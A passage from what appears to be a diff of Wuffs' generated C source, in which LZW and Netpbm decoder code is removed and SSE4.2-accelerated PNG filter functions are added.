defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +-wuffs_lzw__decoder__read_from( +- wuffs_lzw__decoder* self, +- wuffs_base__io_buffer* a_src) { +- uint32_t v_clear_code = 0; +- uint32_t v_end_code = 0; +- uint32_t v_save_code = 0; +- uint32_t v_prev_code = 0; +- uint32_t v_width = 0; +- uint32_t v_bits = 0; +- uint32_t v_n_bits = 0; +- uint32_t v_output_wi = 0; +- uint32_t v_code = 0; +- uint32_t v_c = 0; +- uint32_t v_o = 0; +- uint32_t v_steps = 0; +- uint8_t v_first_byte = 0; +- uint16_t v_lm1_b = 0; +- uint16_t v_lm1_a = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++wuffs_png__decoder__filter_3_distance_4_x86_sse42( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ wuffs_base__slice_u8 v_prev = {0}; ++ __m128i v_x128 = {0}; ++ __m128i v_a128 = {0}; ++ __m128i v_b128 = {0}; ++ __m128i v_p128 = {0}; ++ __m128i v_k128 = {0}; + +- v_clear_code = self->private_impl.f_clear_code; +- v_end_code = self->private_impl.f_end_code; +- v_save_code = self->private_impl.f_save_code; +- v_prev_code = self->private_impl.f_prev_code; +- v_width = self->private_impl.f_width; +- v_bits = self->private_impl.f_bits; +- v_n_bits = self->private_impl.f_n_bits; +- v_output_wi = self->private_impl.f_output_wi; +- while (true) { +- if (v_n_bits < v_width) { +- if (((uint64_t)(io2_a_src - iop_a_src)) >= 4u) { +- v_bits |= ((uint32_t)(wuffs_base__peek_u32le__no_bounds_check(iop_a_src) << v_n_bits)); +- iop_a_src += ((31u - v_n_bits) >> 3u); +- v_n_bits |= 24u; +- } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if (a_src && a_src->meta.closed) { +- self->private_impl.f_read_from_return_value = 3u; +- } else { +- self->private_impl.f_read_from_return_value = 2u; +- } +- break; +- } else { +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- if (v_n_bits >= v_width) { +- } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if (a_src && a_src->meta.closed) { +- self->private_impl.f_read_from_return_value = 3u; +- } else { +- self->private_impl.f_read_from_return_value = 2u; +- } +- break; +- } else { +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- if (v_n_bits < v_width) { +- self->private_impl.f_read_from_return_value = 5u; +- break; +- } +- } +- } +- } +- v_code = ((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U32(v_width)); +- v_bits >>= v_width; +- v_n_bits -= v_width; +- if (v_code < v_clear_code) { +- self->private_data.f_output[v_output_wi] = ((uint8_t)(v_code)); +- v_output_wi = ((v_output_wi + 1u) & 8191u); +- if (v_save_code <= 4095u) { +- v_lm1_a = (((uint16_t)(self->private_data.f_lm1s[v_prev_code] + 1u)) & 4095u); +- self->private_data.f_lm1s[v_save_code] = v_lm1_a; +- if ((v_lm1_a % 8u) != 0u) { +- self->private_impl.f_prefixes[v_save_code] = self->private_impl.f_prefixes[v_prev_code]; +- memcpy(self->private_data.f_suffixes[v_save_code],self->private_data.f_suffixes[v_prev_code], sizeof(self->private_data.f_suffixes[v_save_code])); +- self->private_data.f_suffixes[v_save_code][(v_lm1_a % 8u)] = ((uint8_t)(v_code)); +- } else { +- self->private_impl.f_prefixes[v_save_code] = ((uint16_t)(v_prev_code)); +- self->private_data.f_suffixes[v_save_code][0u] = ((uint8_t)(v_code)); +- } +- v_save_code += 1u; +- if (v_width < 12u) { +- v_width += (1u & (v_save_code >> v_width)); +- } +- v_prev_code = v_code; +- } +- } else if (v_code <= v_end_code) { +- if (v_code == v_end_code) { +- self->private_impl.f_read_from_return_value = 0u; +- break; +- } +- v_save_code = v_end_code; +- v_prev_code = v_end_code; +- v_width = (self->private_impl.f_literal_width + 1u); +- } else if (v_code <= v_save_code) { +- v_c = v_code; +- if (v_code == v_save_code) { +- v_c = v_prev_code; +- } +- v_o = ((v_output_wi + (((uint32_t)(self->private_data.f_lm1s[v_c])) & 4294967288u)) & 8191u); +- v_output_wi = ((v_output_wi + 1u + ((uint32_t)(self->private_data.f_lm1s[v_c]))) & 8191u); +- v_steps = (((uint32_t)(self->private_data.f_lm1s[v_c])) >> 3u); +- while (true) { +- memcpy((self->private_data.f_output)+(v_o), (self->private_data.f_suffixes[v_c]), 8u); +- if (v_steps <= 0u) { +- break; +- } +- v_steps -= 1u; +- v_o = (((uint32_t)(v_o - 8u)) & 8191u); +- v_c = ((uint32_t)(self->private_impl.f_prefixes[v_c])); +- } +- v_first_byte = self->private_data.f_suffixes[v_c][0u]; +- if (v_code == v_save_code) { +- self->private_data.f_output[v_output_wi] = v_first_byte; +- v_output_wi = ((v_output_wi + 1u) & 8191u); ++ if (((uint64_t)(a_prev.len)) == 0u) { ++ v_k128 = _mm_set1_epi8((int8_t)(254u)); ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ v_curr.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_p128 = _mm_avg_epu8(_mm_and_si128(v_a128, v_k128), v_b128); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_a128 = v_x128; ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 4; ++ v_p128 = _mm_avg_epu8(_mm_and_si128(v_a128, v_k128), v_b128); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_a128 = v_x128; ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 4; + } +- if (v_save_code <= 4095u) { +- v_lm1_b = (((uint16_t)(self->private_data.f_lm1s[v_prev_code] + 1u)) & 4095u); +- self->private_data.f_lm1s[v_save_code] = v_lm1_b; +- if ((v_lm1_b % 8u) != 0u) { +- self->private_impl.f_prefixes[v_save_code] = self->private_impl.f_prefixes[v_prev_code]; +- memcpy(self->private_data.f_suffixes[v_save_code],self->private_data.f_suffixes[v_prev_code], sizeof(self->private_data.f_suffixes[v_save_code])); +- self->private_data.f_suffixes[v_save_code][(v_lm1_b % 8u)] = v_first_byte; +- } else { +- self->private_impl.f_prefixes[v_save_code] = ((uint16_t)(v_prev_code)); +- self->private_data.f_suffixes[v_save_code][0u] = ((uint8_t)(v_first_byte)); +- } +- v_save_code += 1u; +- if (v_width < 12u) { +- v_width += (1u & (v_save_code >> v_width)); +- } +- v_prev_code = v_code; ++ v_curr.len = 4; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_p128 = _mm_avg_epu8(_mm_and_si128(v_a128, v_k128), v_b128); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_a128 = v_x128; ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 4; + } +- } else { +- self->private_impl.f_read_from_return_value = 4u; +- break; +- } +- if (v_output_wi > 4095u) { +- self->private_impl.f_read_from_return_value = 1u; +- break; ++ v_curr.len = 0; + } +- } +- if (self->private_impl.f_read_from_return_value != 2u) { +- while (v_n_bits >= 8u) { +- v_n_bits -= 8u; +- if (iop_a_src > io1_a_src) { +- iop_a_src--; +- } else { +- self->private_impl.f_read_from_return_value = 5u; +- break; ++ } else { ++ v_k128 = _mm_set1_epi8((int8_t)(1u)); ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ wuffs_base__slice_u8 i_slice_prev = a_prev; ++ v_prev.ptr = i_slice_prev.ptr; ++ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_p128 = _mm_avg_epu8(v_a128, v_b128); ++ v_p128 = _mm_sub_epi8(v_p128, _mm_and_si128(v_k128, _mm_xor_si128(v_a128, v_b128))); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_a128 = v_x128; ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; ++ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_p128 = _mm_avg_epu8(v_a128, v_b128); ++ v_p128 = _mm_sub_epi8(v_p128, _mm_and_si128(v_k128, _mm_xor_si128(v_a128, v_b128))); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_a128 = v_x128; ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; ++ } ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_p128 = _mm_avg_epu8(v_a128, v_b128); ++ v_p128 = _mm_sub_epi8(v_p128, _mm_and_si128(v_k128, _mm_xor_si128(v_a128, v_b128))); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_a128 = v_x128; ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; + } ++ v_curr.len = 0; ++ v_prev.len = 0; + } + } +- self->private_impl.f_save_code = v_save_code; +- self->private_impl.f_prev_code = v_prev_code; +- self->private_impl.f_width = v_width; +- self->private_impl.f_bits = v_bits; +- self->private_impl.f_n_bits = v_n_bits; +- self->private_impl.f_output_wi = v_output_wi; +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- + return wuffs_base__make_empty_struct(); + } ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +-// -------- func lzw.decoder.write_to ++// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 ++// -------- func png.decoder.filter_4_distance_3_x86_sse42 + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_lzw__decoder__write_to( +- wuffs_lzw__decoder* self, +- wuffs_base__io_buffer* a_dst) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- wuffs_base__slice_u8 v_s = {0}; +- uint64_t v_n = 0; ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4_distance_3_x86_sse42( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ wuffs_base__slice_u8 v_prev = {0}; ++ __m128i v_x128 = {0}; ++ __m128i v_a128 = {0}; ++ __m128i v_b128 = {0}; ++ __m128i v_c128 = {0}; ++ __m128i v_p128 = {0}; ++ __m128i v_pa128 = {0}; ++ __m128i v_pb128 = {0}; ++ __m128i v_pc128 = {0}; ++ __m128i v_smallest128 = {0}; ++ __m128i v_z128 = {0}; + +- uint8_t* iop_a_dst = NULL; +- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ wuffs_base__slice_u8 i_slice_prev = a_prev; ++ v_prev.ptr = i_slice_prev.ptr; ++ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, wuffs_private_impl__iterate_total_advance((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)), 7, 6)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); ++ v_pa128 = _mm_sub_epi16(v_b128, v_c128); ++ v_pb128 = _mm_sub_epi16(v_a128, v_c128); ++ v_pc128 = _mm_add_epi16(v_pa128, v_pb128); ++ v_pa128 = _mm_abs_epi16(v_pa128); ++ v_pb128 = _mm_abs_epi16(v_pb128); ++ v_pc128 = _mm_abs_epi16(v_pc128); ++ v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); ++ v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_a128 = v_x128; ++ v_c128 = v_b128; ++ v_x128 = _mm_packus_epi16(v_x128, v_x128); ++ wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 3; ++ v_prev.ptr += 3; ++ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); ++ v_pa128 = _mm_sub_epi16(v_b128, v_c128); ++ v_pb128 = _mm_sub_epi16(v_a128, v_c128); ++ v_pc128 = _mm_add_epi16(v_pa128, v_pb128); ++ v_pa128 = _mm_abs_epi16(v_pa128); ++ v_pb128 = _mm_abs_epi16(v_pb128); ++ v_pc128 = _mm_abs_epi16(v_pc128); ++ v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); ++ v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_a128 = v_x128; ++ v_c128 = v_b128; ++ v_x128 = _mm_packus_epi16(v_x128, v_x128); ++ wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 3; ++ v_prev.ptr += 3; + } +- } +- +- uint32_t coro_susp_point = self->private_impl.p_write_to[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while (self->private_impl.f_output_wi > 0u) { +- if (self->private_impl.f_output_ri > self->private_impl.f_output_wi) { +- status = wuffs_base__make_status(wuffs_lzw__error__internal_error_inconsistent_i_o); +- goto exit; +- } +- v_s = wuffs_base__make_slice_u8_ij(self->private_data.f_output, +- self->private_impl.f_output_ri, +- self->private_impl.f_output_wi); +- v_n = wuffs_base__io_writer__copy_from_slice(&iop_a_dst, io2_a_dst,v_s); +- if (v_n == ((uint64_t)(v_s.len))) { +- self->private_impl.f_output_ri = 0u; +- self->private_impl.f_output_wi = 0u; +- status = wuffs_base__make_status(NULL); +- goto ok; +- } +- self->private_impl.f_output_ri = (((uint32_t)(self->private_impl.f_output_ri + ((uint32_t)(v_n)))) & 8191u); +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, wuffs_private_impl__iterate_total_advance((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)), 4, 3)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); ++ v_pa128 = _mm_sub_epi16(v_b128, v_c128); ++ v_pb128 = _mm_sub_epi16(v_a128, v_c128); ++ v_pc128 = _mm_add_epi16(v_pa128, v_pb128); ++ v_pa128 = _mm_abs_epi16(v_pa128); ++ v_pb128 = _mm_abs_epi16(v_pb128); ++ v_pc128 = _mm_abs_epi16(v_pc128); ++ v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); ++ v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_a128 = v_x128; ++ v_c128 = v_b128; ++ v_x128 = _mm_packus_epi16(v_x128, v_x128); ++ wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 3; ++ v_prev.ptr += 3; + } +- +- ok: +- self->private_impl.p_write_to[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_write_to[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- +- return status; +-} +- +-// -------- func lzw.decoder.flush +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__slice_u8 +-wuffs_lzw__decoder__flush( +- wuffs_lzw__decoder* self) { +- if (!self) { +- return wuffs_base__make_slice_u8(NULL, 0); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_slice_u8(NULL, 0); +- } +- +- uint32_t v_ri = 0; +- uint32_t v_wi = 0; +- +- v_ri = self->private_impl.f_output_ri; +- v_wi = self->private_impl.f_output_wi; +- self->private_impl.f_output_ri = 0u; +- self->private_impl.f_output_wi = 0u; +- if (v_ri <= v_wi) { +- return wuffs_base__make_slice_u8_ij(self->private_data.f_output, v_ri, v_wi); ++ v_curr.len = 3; ++ v_prev.len = 3; ++ const uint8_t* i_end2_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3)); ++ while (v_curr.ptr < i_end2_curr) { ++ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u24le__no_bounds_check(v_prev.ptr))); ++ v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); ++ v_pa128 = _mm_sub_epi16(v_b128, v_c128); ++ v_pb128 = _mm_sub_epi16(v_a128, v_c128); ++ v_pc128 = _mm_add_epi16(v_pa128, v_pb128); ++ v_pa128 = _mm_abs_epi16(v_pa128); ++ v_pb128 = _mm_abs_epi16(v_pb128); ++ v_pc128 = _mm_abs_epi16(v_pc128); ++ v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); ++ v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u24le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_x128 = _mm_packus_epi16(v_x128, v_x128); ++ wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 3; ++ v_prev.ptr += 3; ++ } ++ v_curr.len = 0; ++ v_prev.len = 0; + } +- return wuffs_base__make_slice_u8(self->private_data.f_output, 0); ++ return wuffs_base__make_empty_struct(); + } ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZW) +- +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NETPBM) +- +-// ---------------- Status Codes Implementations +- +-const char wuffs_netpbm__error__bad_header[] = "#netpbm: bad header"; +-const char wuffs_netpbm__error__truncated_input[] = "#netpbm: truncated input"; +-const char wuffs_netpbm__error__unsupported_netpbm_file[] = "#netpbm: unsupported Netpbm file"; +-const char wuffs_netpbm__note__internal_note_short_read[] = "@netpbm: internal note: short read"; +- +-// ---------------- Private Consts +- +-// ---------------- Private Initializer Prototypes +- +-// ---------------- Private Function Prototypes +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_netpbm__decoder__do_decode_image_config( +- wuffs_netpbm__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_netpbm__decoder__do_decode_frame_config( +- wuffs_netpbm__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_netpbm__decoder__do_decode_frame( +- wuffs_netpbm__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts); ++// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 ++// -------- func png.decoder.filter_4_distance_4_x86_sse42 + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_netpbm__decoder__swizzle( +- wuffs_netpbm__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src); +- +-// ---------------- VTables +- +-const wuffs_base__image_decoder__func_ptrs +-wuffs_netpbm__decoder__func_ptrs_for__wuffs_base__image_decoder = { +- (wuffs_base__status(*)(void*, +- wuffs_base__pixel_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__pixel_blend, +- wuffs_base__slice_u8, +- wuffs_base__decode_frame_options*))(&wuffs_netpbm__decoder__decode_frame), +- (wuffs_base__status(*)(void*, +- wuffs_base__frame_config*, +- wuffs_base__io_buffer*))(&wuffs_netpbm__decoder__decode_frame_config), +- (wuffs_base__status(*)(void*, +- wuffs_base__image_config*, +- wuffs_base__io_buffer*))(&wuffs_netpbm__decoder__decode_image_config), +- (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_netpbm__decoder__frame_dirty_rect), +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_netpbm__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_netpbm__decoder__history_retain_length), +- (uint32_t(*)(const void*))(&wuffs_netpbm__decoder__num_animation_loops), +- (uint64_t(*)(const void*))(&wuffs_netpbm__decoder__num_decoded_frame_configs), +- (uint64_t(*)(const void*))(&wuffs_netpbm__decoder__num_decoded_frames), +- (wuffs_base__status(*)(void*, +- uint64_t, +- uint64_t))(&wuffs_netpbm__decoder__restart_frame), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_netpbm__decoder__set_quirk), +- (wuffs_base__empty_struct(*)(void*, +- uint32_t, +- bool))(&wuffs_netpbm__decoder__set_report_metadata), +- (wuffs_base__status(*)(void*, +- wuffs_base__io_buffer*, +- wuffs_base__more_information*, +- wuffs_base__io_buffer*))(&wuffs_netpbm__decoder__tell_me_more), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_netpbm__decoder__workbuf_len), +-}; +- +-// ---------------- Initializer Implementations +- +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_netpbm__decoder__initialize( +- wuffs_netpbm__decoder* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); +- } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); +- } ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4_distance_4_x86_sse42( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ wuffs_base__slice_u8 v_prev = {0}; ++ __m128i v_x128 = {0}; ++ __m128i v_a128 = {0}; ++ __m128i v_b128 = {0}; ++ __m128i v_c128 = {0}; ++ __m128i v_p128 = {0}; ++ __m128i v_pa128 = {0}; ++ __m128i v_pb128 = {0}; ++ __m128i v_pc128 = {0}; ++ __m128i v_smallest128 = {0}; ++ __m128i v_z128 = {0}; + +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" +-#endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ 